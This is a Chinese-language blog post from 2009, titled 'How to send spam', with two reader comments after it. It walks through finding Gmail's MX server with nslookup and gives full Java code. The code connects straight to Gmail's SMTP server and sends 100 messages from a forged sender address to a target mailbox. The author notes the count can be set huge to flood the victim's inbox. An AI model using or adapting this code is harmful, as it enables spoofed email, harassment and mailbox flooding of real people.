如何发垃圾邮件

May 29th, 2009 | Categories: Computer | Tags: ,

比如某天我想干一件十分无聊的事情,我想给一个叫testname@gmail.com的邮件账户发送100封垃圾邮件,当然不能用真实的邮件帐号发,得用一个假的比如:noname@nodomain.com
首先,我们得知道gamil的投递服务器地址,在命令行中输入nslookup命令,然后输入set type=mx,接着输入gmail.com,出来几条记录,最后有一行:gmail-smtp-in.l.google.com internet address = 209.85.222.41,好投递服务器就是它了。
经过以上准备我们就可以写个程序发垃圾邮件了,当然数量可以随便定了,可以设一个很无聊的大数字,直接把对方的邮箱挤爆掉,当然某些投递服务器比较智能,一次投递给同一个帐号的邮件多了会拒绝的
java实现代码如下:

import java.io.IOException;
import java.io.PrintStream;
import java.net.Socket;
import java.net.UnknownHostException;
import java.util.Scanner;

public class Mail {
	private static final String CRLF = "\r\n";

	public static void main(String[] args) {
		// 循环发送邮件
		for (int i = 0; i < 100; ++i) {
			System.out.println("++++++++++++++" + (i + 1)
					+ "++++++++++++++++++++");
			send();
		}

	}

	private static void send() {
		PrintStream out = null;
		Scanner in = null;
		Socket smtpSocket = null;
		try {
			smtpSocket = new Socket("gmail-smtp-in.l.google.com", 25);
			out = new PrintStream(smtpSocket.getOutputStream());
			in = new Scanner(smtpSocket.getInputStream());
		} catch (UnknownHostException e) {
			e.printStackTrace();
		} catch (IOException e) {
			e.printStackTrace();
		}

		if (out == null || in == null) {
			return;
		}

		System.out.println("s:" + in.nextLine());

		out.print("helo nodomain.com" + CRLF);

		System.out.println("s:" + in.nextLine());

		out.print("mail from: <noname@nodomain.com>" + CRLF);

		System.out.println("s:" + in.nextLine());

		out.print("rcpt to: <testname@gmail.com>" + CRLF);

		System.out.println("s:" + in.nextLine());

		out.print("data" + CRLF);

		System.out.println("s:" + in.nextLine());

		out.print("from: <noname@nodomain.com>" + CRLF);
		out.print("to: <testname@gmail.com>" + CRLF);
		out.print("subject: test mail" + CRLF);
		out.print("" + CRLF);
		out.print("balabalabalabalabala" + CRLF);
		out.print("" + CRLF);
		out.print("." + CRLF);

		System.out.println("s:" + in.nextLine());

		out.print("quit" + CRLF);
		System.out.println("s:" + in.nextLine());

		in.close();
		out.close();
		try {
			smtpSocket.close();
		} catch (IOException e) {
			e.printStackTrace();
		}
	}

}
  1. June 1st, 2009 at 23:15
    Reply | Quote | #1

    牛! 不过发表评论等得好辛苦…

  2. January 11th, 2012 at 20:35
    Reply | Quote | #2

    412 I just could not depart your site prior to suggesting that I actually enjoyed the standard info an individual provide on your guests? Is going to be again often to inspect new posts.